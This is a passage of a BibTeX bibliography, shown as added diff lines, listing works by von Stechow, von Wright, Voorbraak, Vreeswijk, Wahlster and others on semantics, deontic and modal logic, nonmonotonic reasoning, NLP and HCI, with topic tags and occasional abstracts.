Savigny}}, + title = {Meaning by Means of Meaning? By No Means!}, + journal = {Erkenntnis}, + year = {1975}, + volume = {9}, + pages = {139--143}, + missinginfo = {number}, + topic = {philosophy-of-language;foundations-of-semantics; + speaker-meaning;pragmatics;} + } + +@incollection{ vonstechow:1979a, + author = {Arnim {von Stechow}}, + title = {Visiting {G}erman Relatives}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {266--283}, + topic = {nl-syntax;nl-semantics;relative-clauses;German-language;} + } + +@article{ vonstechow:1980a, + author = {Arnim {von Stechow}}, + title = {Modification of Noun Phrases: A Challenge for Compositional + Semantics}, + journal = {Theoretical Linguistics}, + year = {1980}, + volume = {7}, + number = {1/2}, + pages = {57--110}, + topic = {compositionality;nl-semantics;} + } + +@incollection{ vonstechow:1981a, + author = {Arnim {von Stechow}}, + title = {Presupposition and Context}, + booktitle = {Aspects of Philosophical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1981}, + editor = {Uwe M\"onnich}, + pages = {157--224}, + address = {Dordrecht}, + topic = {presupposition;pragmatics;context;} + } + +@techreport{ vonstechow:1982a, + author = {Arnim {von Stechow}}, + title = {Structured Propositions}, + institution = {Universit\"at Konstanz}, + year = {1982}, + address = {Konstanz}, + missinginfo = {No number}, + topic = {indexicals;interrogatives;sentence-focus;pragmatics;} + } + +@article{ vonstechow:1984a, + author = {Arnim {von Stechow}}, + title = {Comparing Semantic Theories of Comparison}, + journal = {Journal of Semantics}, + year = {1984}, + volume = {3}, + pages = {1--77}, + topic = {nl-semantics;comparative-constructions;} + } + +@incollection{ vonstechow:1984b, + author = {Arnim von Stechow}, + title = {Structured Propositions and Essential Indexicals}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {385--404}, + address = {Dordrecht}, + topic = {propositional-attitudes;structured-propositions;indexicals;} + } + +@incollection{ vonstechow:1991a, + author = {Arnim {von Stechow}}, + title = {Focusing and Backgrounding Operators}, + booktitle = {Discourse Particles}, + publisher = {Benjamin}, + year = {1991}, + editor = {Werner Abraham}, + address = {Amsterdam}, + missinginfo = {pages}, + topic = {sentence-focus;} + } + +@inproceedings{ vonstechow:1995a, + author = {Arnim {von Stechow}}, + title = {On the Proper Treatment of Tense}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {362--386}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;nl-tense;} + } + +@article{ vonstechow:1996a, + author = {Arnim {{v}on Stechow}}, + title = {Against {LF} Pied Piping}, + journal = {Natural Language Semantics}, + year = {1996}, + volume = {4}, + number = {1}, + pages = {57--110}, + topic = {LF;syntactic-movement-rules;} + } + +@book{ vonwright:1941a, + author = {Georg Henrik von Wright}, + title = {The Logical Problem of Induction}, + publisher = {Helsinki Societas Philosophica}, + year = {1941}, + address = {Helsinki}, + ISBN = {3495473203}, + topic = {induction;} + } + +@book{ vonwright:1951a, + author = {Georg Henrik {{v}on Wright}}, + title = {An Essay in Modal Logic}, + publisher = {North-Holland}, + year = {1951}, + address = {Amsterdam}, + topic = {philosophical-logic;modal-logic;} + } + +@article{ vonwright:1951b, + author = {G. H. {von Wright}}, + title = {Deontic logic}, + journal = {Mind}, + year = {1951}, + volume = {60}, + number = {237}, + pages = {1--15}, + topic = {deontic-logic;} + } + +@book{ vonwright:1957a, + author = {Georg Henrik von Wright}, + title = {Logical Studies}, + publisher = {Routledge and Kegan Paul}, + year = {1957}, + address = {London}, + ISBN = {3495473203}, + topic = {philosophical-logic;} + } + +@article{ vonwright:1962a1, + author = {Georg Henrik {{v}on Wright}}, + title = {On Promises}, + journal = {Theoria}, + year = {1962}, + volume = {28}, + pages = {276--297}, + missinginfo = {number}, + xref = {Republication: vonwright:1962a2.}, + topic = {promising;} + } + +@incollection{ vonwright:1962a2, + author = {Georg Henrik {{v}on Wright}}, + title = {On Promises}, + booktitle = {Practical Reason: Philosophical Papers, Volume 1}, + publisher = {Cornell University Press}, + year = {1983}, + editor = {Georg Henrik {{v}on Wright}}, + pages = {83--99}, + address = {Ithaca}, + xref = {Journal publication: vonwright:1962a1.}, + topic = {promising;} + } + +@book{ vonwright:1963a, + author = {Georg Henrik {{v}on Wright}}, + title = {Norm and Action: A Logical Enquiry}, + publisher = {Routledge and Keegan Paul}, + year = {1963}, + address = {London}, + xref = {Critical Study: castaneda:1965b.}, + topic = {philosophical-logic;deontic-logic;practical-reasoning;} + } + +@article{ vonwright:1963b1, + author = {Georg Henrik {{v}on Wright}}, + title = {Practical Inference}, + journal = {The philosophical Review}, + year = {1963}, + volume = {72}, + pages = {159--179}, + missinginfo = {number}, + xref = {Republication: vonwright:1963b2}, + topic = {practical-reasoning;} + } + +@incollection{ vonwright:1963b2, + author = {Georg Henrik {{v}on Wright}}, + title = {Practical Inference}, + booktitle = {Practical Reason: Philosophical + Papers, Volume 1}, + publisher = {Cornell University Press}, + year = {1983}, + editor = {Georg Henrik {{v}on Wright}}, + pages = {1--17}, + address = {Ithaca}, + topic = {practical-reasoning;} + } + +@book{ vonwright:1963c, + author = {Georg Henrik von Wright}, + title = {The Logic of Preference, an Essay}, + publisher = {Edinburgh University Press}, + year = {1963}, + address = {Edinburgh}, + ISBN = {0631120009}, + topic = {preferences;deontic-logic;} + } + +@book{ vonwright:1963d, + author = {Georg Henrik von Wright}, + title = {The Varieties of Goodness}, + publisher = {Humanities Press}, + year = {1963}, + address = {New York}, + topic = {metaethics;} + } + +@book{ vonwright:1968a, + author = {Georg Henrik {{v}on Wright}}, + title = {An Essay in Deontic Logic and the General Theory of Action}, + publisher = {North-Holland}, + year = {1968}, + address = {Amsterdam}, + topic = {philosophical-logic;deontic-logic;action;} + } + +@article{ vonwright:1968b, + author = {G.~{Von Wright}}, + title = {An Essay in Deontic Lgoic}, + journal = {Acta Philosophica Fennica}, + year = {1968}, + volume = {1}, + pages = {1--110}, + missinginfo = {number}, + topic = {deontic-logic;} + } + +@book{ vonwright:1971a, + author = {Georg Henrik von Wright}, + title = {Explanation and Understanding}, + publisher = {Cornell University Press}, + year = {1971}, + address = {Ithaca}, + ISBN = {0801406447}, + topic = {explanation;} + } + +@article{ vonwright:1972a1, + author = {Georg Henrik {{v}on Wright}}, + title = {On So-Called Practical Inference}, + journal = {Acta Sociologica}, + year = {1972}, + volume = {15}, + pages = {39--53}, + missinginfo = {number}, + xref = {Republications: vonwright:1972a2,vonwright:1972a3.}, + topic = {practical-reasoning;} + } + +@incollection{ vonwright:1972a2, + author = {Georg Henrik {{v}on Wright}}, + title = {On So-Called Practical Inference}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {46--62}, + address = {Oxford}, + topic = {practical-reasoning;} + } + +@incollection{ vonwright:1972a3, + author = {Georg Henrik {{v}on Wright}}, + title = {On So-Called Practical Inference}, + booktitle = {Practical Reason: Philosophical + Papers, Volume 1}, + publisher = {Cornell University Press}, + year = {1983}, + editor = {Georg Henrik {{v}on Wright}}, + pages = {18--34}, + address = {Ithaca}, + topic = {practical-reasoning;} + } + +@book{ vonwright:1974a, + author = {Georg Henrik von Wright}, + title = {Causality and Determinism}, + publisher = {Columbia University Press}, + year = {1974}, + address = {New York}, + ISBN = {0231037589}, + topic = {(in)determinism;causality;} + } + +@incollection{ vonwright:1976a1, + author = {Georg Henrik {{v}on Wright}}, + title = {Determinism and the Study of Man}, + booktitle = {Essays on Explanation and Understanding: Studies in the + Foundations of Humanities and Social Sciences}, + publisher = {D. Reidel Publishing Co}, + year = {1976}, + editor = {Juha Manninen and Raimo Tuomela}, + pages = {415--435}, + address = {Dordrecht}, + xref = {Republication: vonwright:1976a2.}, + topic = {(in)determinism;} + } + +@incollection{ vonwright:1976a2, + author = {Georg Henrik {{v}on Wright}}, + title = {Determinism and the Study of Man}, + booktitle = {Practical Reason: Philosophical Papers, Volume 1}, + publisher = {Cornell University Press}, + year = {1983}, + editor = {Georg Henrik {{v}on Wright}}, + pages = {35--52}, + address = {Ithaca}, + xref = {Originally published as: vonwright:1976a1.}, + ISBN = {0801416736}, + topic = {(in)determinism;} + } + +@incollection{ vonwright:1976b, + author = {Georg Henrik {von Wright}}, + title = {Replies}, + booktitle = {Essays on Explanation and Understanding: Studies in the + Foundations of Humanities and Social Sciences}, + publisher = {D. Reidel Publishing Company}, + address = {Dordrecht}, + year = {1976}, + editor = {Juha Manninen and Raimo Tuomela}, + pages = {371--413}, + topic = {deontic-logic;} + } + +@article{ vonwright:1979a, + author = {Georg Henrik {von Wright}}, + title = {Diachronic and Synchronic Modalities}, + journal = {Theorema}, + year = {1979}, + volume = {9}, + number = {3/4}, + pages = {231--245}, + topic = {modal-logic;tense-logic;} + } + +@incollection{ vonwright:1979b, + author = {Georg Henrik von Wright}, + title = {Time, Truth, and Necessity}, + booktitle = {Intention and Intentionality: Essays in Honour of {G.E.M}. + {A}nscombe}, + publisher = {Harvester Press}, + year = {1979}, + editor = {Cora Diamond and Jenny Teichman}, + pages = {237--250}, + acontentnote = {Abstract: + The essay deals with the problem of future contingent truth + raised by Aristotle in ``De In'' IX and discussed by Anscombe in + ``Aristotle and the Sea Battle'' (1956). Two senses of `true' are + distinguished. When used atemporally, ``True at t that p'' means + ``True that p at T''. When used temporally, as in ``True at $t_1$ + that p at later $t_2$'', `true' means ``settled,'' ``certain'' or + ``necessary.'' It is suggested that the ``deterministic + illusion'' which puzzled Aristotle is due to a confusion of the + two uses of `true'. + } , + address = {Brighton}, + topic = {Aristotle;future-contingent-propositions;} + } + +@article{ vonwright:1981a1, + author = {Georg Henrik {{v}on Wright}}, + title = {Explanation and the Understanding of Action}, + journal = {Revue Internationale de Philosophie}, + year = {1981}, + volume = {35}, + pages = {127--142}, + missinginfo = {number}, + xref = {Republication: vonwright:1981a2.}, + topic = {action;explanation;} + } + +@incollection{ vonwright:1981a2, + author = {Georg Henrik {{v}on Wright}}, + title = {Explanation and the Understanding of Action}, + booktitle = {Practical Reason: Philosophical + Papers, Volume 1}, + publisher = {Cornell University Press}, + year = {1983}, + editor = {Georg Henrik {{v}on Wright}}, + pages = {53--67}, + address = {Ithaca}, + xref = {Journal publication: vonwright:1981a1.}, + topic = {action;explanation;} + } + +@incollection{ vonwright:1981b1, + author = {Georg Henrik {{v}on Wright}}, + title = {On the Logic of Norms and Actions}, + booktitle = {New Studies in Deontic Logic}, + publisher = {D. Reidel Publishing Company}, + year = {1981}, + editor = {Risto Hilpinen}, + pages = {3--25}, + address = {Dordrecht}, + xref = {Republication: vonwright:1981b2.}, + topic = {practical-reasoning;deontic-logic;action;} + } + +@incollection{ vonwright:1981b2, + author = {Georg Henrik {{v}on Wright}}, + title = {On the Logic of Norms and Actions}, + booktitle = {Practical Reason: Philosophical + Papers, Volume 1}, + publisher = {Cornell University Press}, + year = {1983}, + editor = {Georg Henrik {{v}on Wright}}, + pages = {100--129}, + address = {Ithaca}, + xref = {Original publication: vonwright:1981a1.}, + topic = {practical-reasoning;deontic-logic;action;} + } + +@book{ vonwright:1983a, + author = {Georg Henrik {{v}on Wright}}, + title = {Practical Reason: Philosophical Papers, Volume 1}, + publisher = {Cornell University Press}, + year = {1983}, + address = {Ithaca}, + ISBN = {0801416736}, + contentnote = {TC: + 1. "Practical Inference", pp. 1--17 + 2. "On So-Called Practical Inference", pp. 18--34 + 3. "Determinism and the4 Study of Man", pp. 35--52 + 4. "Explanation and the Understanding of Action", pp. 53--67 + 5. "On Promises", pp. 83--99 + 6. "On the Logic of Norms and Actions", pp. 100--129 + 7. "Norms, Truth, and Logic", pp. 130--209 + } , + topic = {practical-reasoning;} + } + +@incollection{ vonwright:1983b, + author = {Georg Henrik {{v}on Wright}}, + title = {Norms, Truth, and Logic}, + booktitle = {Practical Reason: Philosophical + Papers, Volume 1}, + publisher = {Cornell University Press}, + year = {1983}, + editor = {Georg Henrik {{v}on Wright}}, + pages = {130--209}, + address = {Ithaca}, + xref = {Preliminary version appeared in martino_aa:1982a.}, + topic = {deontic-logic;practical-reasoning;} + } + +@book{ vonwright:1983c, + author = {Georg Henrik von Wright}, + title = {Philosophical Logic}, + publisher = {Basil Blackwell}, + year = {1983}, + address = {Oxford}, + ISBN = {063113316X}, + topic = {philosophical-logic;} + } + +@book{ vonwright:1984a, + author = {Georg Henrik {{v}on Wright}}, + title = {Philosophical Logic: Philosophical Papers, Volume {II}}, + publisher = {Cornell University Press}, + year = {1984}, + address = {Ithaca, NY}, + topic = {Philosophical-logic;} + } + +@book{ vonwright:1984b, + author = {Georg Henrik von Wright}, + title = {Truth, Knowledge, and Modality}, + publisher = {Basil Blackwell}, + year = {1984}, + address = {Oxford}, + ISBN = {0631133674}, + acontentnote = {Abstract: + A major part of the material in this volume has not been + published before. Two essays on truth discuss logical systems + which allow truth-value gaps and truth-value overlaps. Fresh + treatment is given to Aristotle's problem of the sea-battle and + to his dictum that everything which is is necessary and to the + medieval problem of whether God's omniscience is compatible with + human freedom of action. Three essays on modality exploit a + distinction between a synchronic and a diachronic conception of + possibility and necessity. } , + topic = {future-contingent-propositions;(in)determinism;modality; + truth;philosophical-logic;} + } + +@incollection{ vonwright:1994a, + author = {Georg Henrik {{v}on Wright}}, + title = {Diachronic and Synchronic Modalities}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {42--49}, + address = {Helsinki}, + topic = {temporal-logic;modal-logic;tmix-project;} + } + +@incollection{ vonwright:1998a, + author = {G. H. {Von Wright}}, + title = {Deontic Logic---As I See It}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {15--28}, + address = {Amsterdam}, + topic = {deontic-logic;} + } + +@article{ voorbraak:1991a, + author = {Frans Voorbraak}, + title = {On the Justification of {D}empster's Rule of Combination}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {2}, + pages = {171--197}, + acontentnote = {Abstract: + In Dempster-Shafer theory it is claimed that the pooling of + evidence is reflected by Dempster's rule of combination, + provided certain requirements are met. The justification of this + claim is problematic, since the existing formulations of the + requirements for the use of Dempster's rule are not completely + clear. In this paper, randomly coded messages, Shafer's + canonical examples for Dempster-Shafer theory, are employed to + clarify these requirements and to evaluate Dempster's rule. The + range of applicability of Dempster-Shafer theory will turn out + to be rather limited. Further, it will be argued that the + mentioned requirements do not guarantee the validity of the rule + and some possible additional conditions will be described.}, + topic = {Dempster-Shafer-theory;reasoning-about-uncertainty;} + } + +@incollection{ voorbraak:1991b, + author = {Frans Voorbraak}, + title = {A Preferential Model Semantics for Default Logic}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {344--351}, + address = {Berlin}, + topic = {default-logic;model-preference;} + } + +@incollection{ voorbraak:1992a, + author = {Frans Voorbraak}, + title = {Generalized {K}ripke Models for Epistemic Logic}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {214--228}, + address = {San Francisco}, + topic = {epistemic-logic;} + } + +@phdthesis{ voorbraak:1993a, + author = {Frans Voorbraak}, + title = {As Far as I Know: Epistemic Logic and Uncertainty}, + school = {Utrecht University}, + year = {1993}, + type = {Ph.{D}. Dissertation}, + address = {Utrecht}, + topic = {epistemic-logic;nonmonotonic-logic;} + } + +@inproceedings{ voorbraak:1993b, + author = {Frans VOorbraak}, + title = {Preference-Based Semantics for Nonmonotonic Logics}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {584--591}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {model-preference;nonmonotonic-logic;} + } + +@inproceedings{ voorbraak:1997a, + author = {Frans Voorbraak}, + title = {Decision Analysis Using Partial Probability Theory}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {113--119}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {qualitative-utility;decision-analysis;} + } + +@book{ voronkov:1992a, + editor = {Andrei Voronkov}, + title = {Logic Programming: First Russian Conference On Logic + Programming, {I}rkutsk, {R}ussia, {S}eptember 14-18, 1990, Second + {R}ussian {C}onference on Logic Programming, {S}t. {P}etersburg, + {R}ussia, {S}eptember 11-16, 1991}, + publisher = {Springer-Verlag}, + year = {1992}, + address = {Berlin}, + ISBN = {3540554602}, + topic = {logic-programming;} + } + +@inproceedings{ voronkov:1996a, + author = {Andrei Voronkov}, + title = {Proof-Search in Intuitionistic Logic Based on + Constraint Satisfaction}, + pages = {312--329}, + booktitle = {Proceedings of {TABLEAUX} 96}, + year = {1996}, + publisher = {Springer-Verlag}, + address = {Berlin}, + topic = {theorem-proving;intuitionistic-logic;} +} + +@inproceedings{ voronkov:2000a, + author = {Andrei Voronkov}, + title = {Deciding {K} Using \rotatebox[]{180}{K}}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {198--209}, + topic = {modal-logic;decidability;} + } + +@article{ vose:1991a, + author = {Michael D. Vose}, + title = {Generalizing the Notion of Schema in Genetic Algorithms}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {50}, + number = {3}, + pages = {385--396}, + topic = {genetic-algorithms;} + } + +@book{ vosniadou-ortony:1989a, + editor = {Stella Vosniadou and Andrew Ortony}, + title = {Similarity and Analogical Reasoning}, + publisher = {Cambridge University Press}, + year = {1989}, + address = {Cambridge, England}, + topic = {analogy;analogical-reasoning;} + } + +@book{ vossen-etal:1997a, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo and Yorick Wilks}, + title = {Automatic Information Extraction and Building of + Lexical Semantic Resources for {NLP} Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + address = {New Brunswick, New Jersey}, + contentnote = {TC: + 1. Piek Vossen and Pedro Diez-Orzas and Wim Peters, "Multilingual + Design of {E}uro{W}ord{N}et", pp. 1--8 + 2. Birgit Hamp and Helmut Feldwig, "Germa{N}et---A + Lexical-Semantic Net for {G}erman", pp. 9--15 + 3. Tokunaga Takenobu and Fujii Atsushi and Iwauama Makoto and + Sakurai Naoyuki and Tanaka Hozumi, "Extending a + Thesaurus by Classifying Words", pp. 16--21 + 4. Dietrich H. Fischer, "Formal Redundancy and Consistency + Checking Rules for the Lexical Database + {W}ord{N}et", pp. 22--31 + 5. Alessandro Artale and Bernardo Magnini and Carlo + Strapparava, "Lexical Discrimination with the + {I}talian Version of {W}ord{N}et", pp. 32--38 + 6. Jos\'e Gomez-Hidalgo and Manuel de Buenaga + Rodriguez, "Integrating a Lexical Database and a + Training Collection for Text Categorization", pp. 39--44 + 7. Atsushi Fujii and Toshihiro Hasegawa and Takenobu Tokunaga + and Hozumi Tanaka, "Integration of Hand-Crafted and + Statistical Resources in Measuring Word + Similarity", pp. 45--51 + 8. Diana McCarthy, "Word Sense Disambiguation for Acquisitiomn + of Selectional Preferences", pp. 52--60 + 9. Joyce Yue Chai and Alan W. Bierman, "The Use of Lexical + Semantics in Information Extraction", pp. 61--70 + 10. Salah A\"it-Mokhtar and Jean-Pierre Chanod, "Subject and + Object Dependency Extraction Using Finite-State + Transducers", pp. 71--77 + 11. Fr\'ed\'erique Segond and Anne Schiller and Gregory + Greffenstette and Jean-Pierre Chanod, "An Experiment + in Semantic Tagging Using Hidden {M}arkov Model + Tagging", pp. 78--81 + 12. Antonio Sanfilippo, "Using Semantic Similarity to Acquire + Co-Occurrence Restrictions from Corpora", pp. 82--89 + 13. Stefano Federici and Simonetta Montemagni and Vito + Pirelli, "Inferring Semantic Similarity from + Distributional Evidence: An Analogy-Based Approach to + Word Sense Disambiguation", pp. 90--97 + } , + topic = {anaphora;discourse-structure;} + } + +@incollection{ vossen-etal:1997b, + author = {Piek Vossen and Pedro Diez-Orzas and Wim Peters}, + title = {Multilingual Design of {E}uro{W}ord{N}et}, + booktitle = {Automatic Information Extraction and Building of + Lexical Semantic Resources for {NLP} Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo and Yorick Wilks}, + pages = {1--8}, + address = {New Brunswick, New Jersey}, + topic = {WordNet;European-languages;multilingual-lexicons;} + } + +@book{ vossen:1998a, + editor = {Piek Vossen}, + title = {Euro{W}ord{N}et: A Multilingual + Database with Lexical Semantic Networks}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + address = {Dordrecht}, + ISBN = {0-7923-5295-5}, + xref = {Review: hirst:1999a.}, + topic = {wordnet;} + } + +@incollection{ voutilainen:1998a, + author = {Atro Voutilainen}, + title = {Does Tagging Help Parsing? A Case Study on Finite State + Parsing}, + booktitle = {{FSMNLP'98}: International Workshop on Finite State + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Lauri Karttunen}, + pages = {25--36}, + address = {Somerset, New Jersey}, + topic = {nl-processing;parsing-algorithms;corpus-tagging;} + } + +@unpublished{ vranas:2000a, + author = {Peter B.M. Vranas}, + title = {Can I Kill My Younger Self?}, + year = {2000}, + note = {Unpublished manuscript, University of Michigan}, + topic = {time-travel;} + } + +@inproceedings{ vreeswijk:1991a, + author = {Gerard A.W. Vreeswijk}, + title = {A Complete Logic for Autoepistemic Membership}, + booktitle = {Logics in {AI}: Proceedings of {JELIA}'90}, + year = {1991}, + editor = {Jan {van Eijk}}, + pages = {516--525}, + publisher = {Springer-Verlag}, + address = {Berlin}, + topic = {autoepistemic-logic;nonmonotonic-logic;epistemic-logic;} + } + +@incollection{ vreeswijk:1991b, + author = {Gerard A.W. Vreeswijk}, + title = {The Feasibility of Defeat in Default Reasoning}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {526--534}, + address = {San Mateo, California}, + topic = {kr;default-logic;nonmonotonic-reasonoing;kr-course;} + } + +@incollection{ vreeswijk:1993a, + author = {Gerard Vreeswijk}, + title = {The Feasibility of Defeat in Defeasible Reasoning}, + booktitle = {Diamonds and Defaults}, + publisher = {Kluwer Academic Publishers}, + editor = {Maarten de Rijke}, + year = {1993}, + pages = {359--380}, + address = {Dordrecht}, + topic = {nonmonotonic-reasoning;argument-based-defeasible-reasoning;} + } + +@article{ vreeswijk:1997a, + author = {Gerard A.W. Vreeswijk}, + title = {Abstract Argumentation Systems}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {90}, + number = {1--2}, + pages = {225--279}, + topic = {nonmonotonic-logic;argument-based-defeasible-reasoning;} + } + +@book{ vuillemin:1995a, + author = {Jules Vuillemin}, + title = {Necessity or Contingency: The Master Argument and its + Philosophical Solutions}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + topic = {(in)determinism;} + } + +@article{ vulkan:2002a, + author = {Nir Vulkan}, + title = {Strategic Design of Mobile Agents}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {23}, + number = {3}, + pages = {101--106}, + topic = {automated-negotiation;} + } + +@incollection{ wache:2001a, + author = {Holger Wache}, + title = {Practical Context Transformation for + Information System Interoperability}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {367--380}, + address = {Berlin}, + topic = {context;interoperability;} + } + +@unpublished{ wachowicz:1974a, + author = {Kyrstyna A. Wachowicz}, + title = {Against the Universality of a Single Wh-Question Movement}, + year = {1974}, + note = {Unpublished manuscript, Linguistics Department, University + of Texas.}, + topic = {interrogatives;} + } + +@unpublished{ wachowicz:1974b, + author = {Kyrstyna A. Wachowicz}, + title = {Multiple Questions, Games, and the Presuppositions of + Semantics}, + year = {1974}, + note = {Unpublished manuscript, Linguistics Department, University + of Texas.}, + topic = {interrogatives;} + } + +@book{ wachsmuth-frohlich:1998a, + editor = {Ipke Wachsmuth and Martin Fr\"ohlich}, + title = {Gesture and Sign Language in Human-Computer Interaction}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Berlin}, + ISBN = {3540644245 (softcover)}, + topic = {HCI;gestures;} + } + +@article{ wachtel:1980a, + author = {Tom Wachtel}, + title = {English as a Metalanguage}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {4}, + number = {1}, + pages = {123--128}, + contentnote = {Criticism of hintikka:1976a.}, + topic = {game-theoretic-semantics;truth-definitions;} + } + +@inproceedings{ wada-asher:1986a, + author = {Hajime Wada and Nicholas Asher}, + title = {{BUILDRS}: an Implementation of {DR} Theory and {LFG}}, + booktitle = {Proceedings of the Eleventh Conference on + Computational Linguistics}, + year = {1986}, + address = {Bonn}, + missinginfo = {editor, pages, organization, publisher}, + topic = {discourse-representation-theory;pragmatics;} + } + +@unpublished{ wadler:1993a, + author = {Philip Wadler}, + title = {A Taste of Linear Logic}, + year = {1993}, + note = {Unpublished manuscript, + http://cm.bell-labs.com/cm/cs/who/wadler/topics/linear-logic.html.}, + topic = {linear-logic;} + } + +@book{ waern:1989a, + author = {Yvonne W{\ae}rn}, + title = {Cognitive Aspects of Computer Supported Tasks}, + publisher = {John Wiley and Sons}, + year = {1989}, + address = {New York}, + ISBN = {0471911410}, + topic = {HCI;} + } + +@book{ waern:1998a, + editor = {Yvonne W{\ae}rn}, + title = {Co-Operative Process Management: Cognition and Information + Technology}, + publisher = {Taylor \& Francis}, + year = {1998}, + address = {London}, + ISBN = {0748407138}, + topic = {HCI;} + } + +@inproceedings{ wagner_c:1992a, + author = {C. Wagner}, + title = {Generalizing {J}effrey Conditionalization}, + booktitle = {Proceedings of the Tenth National Conference on + Uncertainty in Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {331--335}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + missinginfo = {A's 1st name}, + topic = {probability-kinematics;} + } + +@book{ wagner_g-peirce:1992a, + editor = {G. Wagner and D. Pearce}, + title = {Logics in {AI}, Proceedings {JELIA}'92}, + publisher = {Springer-Verlag}, + year = {1992}, + address = {Berlin}, + series = {Lecture Notes in Computer Science}, + volume = {633}, + ISBN = {038755887X}, + missinginfo = {A's 1st name.}, + topic = {logic-in-AI;logic-in-AI-survey;} + } + +@incollection{ wagner_g:1996a, + author = {Gerd Wagner}, + title = {Logics Based on Knowledge Representation Systems}, + booktitle = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + year = {1996}, + publisher = {Walter de Gruyter}, + editor = {Andr\'e Fuhrmann and Hans Rott}, + pages = {415--446}, + address = {Berlin}, + topic = {kr;knowledge-retrieval;vivid-reasoning;proof-theory;} + } + +@incollection{ wahlster:1989a, + author = {Wolfgang Wahlster}, + title = {Natural Language Systems: Some + Research Trends}, + booktitle = {Logic and Linguistics}, + publisher = {Lawrence Earlbaum Associates}, + year = {1989}, + editor = {Helmut Schnelle and Niels Ole Bernsen}, + pages = {171--183}, + address = {Hillsdale, New Jersey}, + topic = {nlp-survey;} + } + +@incollection{ wahlster-kobsa:1989a, + author = {Wolfgang Wahlster and Alfred Kobsa}, + title = {User Models in Dialog Systems}, + booktitle = {User Models in Dialog Systems}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + pages = {4--34}, + address = {Berlin}, + topic = {user-modeling;discourse;computational-dialogue;} +} + +@techreport{ wahlster-etal:1991a, + author = {Wolfgang Wahlster and Elisabeth Andr\'e and Winfried Graf + and Thomas Rist}, + title = {Designing Illustrated Texts: how Language + Production is Influenced by Graphics Generation}, + institution = {DFKI --- German Research Center for Artificial + Intelligence, Saarbruecken, Germany}, + year = {1991}, + number = {DFKI-RR-91-05}, + topic = {nl-generation;multimedia-generation;} +} + +@incollection{ wahlster-etal:1991b, + author = {Wolfgang Wahlster and Elisabeth Andr\'e and Son + Bandyopadhyay and Winfried Graf and Thomas Rist}, + title = {{WIP}: {T}he Coordinated Generation of Multimodal + Presentations from a Common Representation}, + booktitle = {Computational Theories of Communication and their + Applications}, + year = {1991}, + editor = {Oliviero Stock and John Slack and Andrew Ortony}, + publisher = {Berlin: Springer Verlag}, + note = {Also available as Technical Report DFKI-RR-91-08, DFKI, + Saarbruecken, Germany.}, + topic = {nl-generation;multimedia-generation;} +} + +@techreport{ wahlster-etal:1993a1, + author = {Wolfgang Wahlster and Elizabeth Andr\'e and Wolfgang + Finkler and Hans-J\"urgen Profitlich and Thomas Rist}, + title = {Plan-Based Integration of Natural Language and Graphics + Generation}, + institution = {Deutsches Forschungscentrum f\"r K\"unstliche + 